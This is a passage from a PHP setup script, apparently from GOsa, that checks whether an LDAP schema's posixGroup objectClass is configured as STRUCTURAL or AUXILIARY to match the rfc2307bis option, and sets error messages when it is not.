2310 $checks['posixGroup']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2311 $checks['posixGroup']['CLASSES_REQUIRED'] = array("posixGroup");
2312 $checks['posixGroup']['STATUS'] = TRUE;
2313 $checks['posixGroup']['IS_MUST_HAVE'] = TRUE;
2314 $checks['posixGroup']['MSG'] = "";
2315 $checks['posixGroup']['INFO'] = "";
2317 /* Depending on selected rfc2307bis mode, we need different schema configurations */
2318 if(isset($tmp['posixGroup'])){
2320 if($rfc2307bis && isset($tmp['posixGroup']['STRUCTURAL'])){
2321 $checks['posixGroup']['STATUS'] = FALSE;
2322 $checks['posixGroup']['MSG'] = _("You have enabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2323 $checks['posixGroup']['INFO'] = _("In order to use rfc2307bis conform groups the objectClass 'posixGroup' must be AUXILIARY");
2324 }
2325 if(!$rfc2307bis && !isset($tmp['posixGroup']['STRUCTURAL'])){
2326 $checks['posixGroup']['STATUS'] = FALSE;
2327 $checks['posixGroup']['MSG'] = _("You have disabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2328 $checks['posixGroup']['INFO'] = _("The objectClass 'posixGroup' must be STRUCTURAL");
2329 }
2330 }
2332 return($checks);
2333 }
2335 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
2336 ?>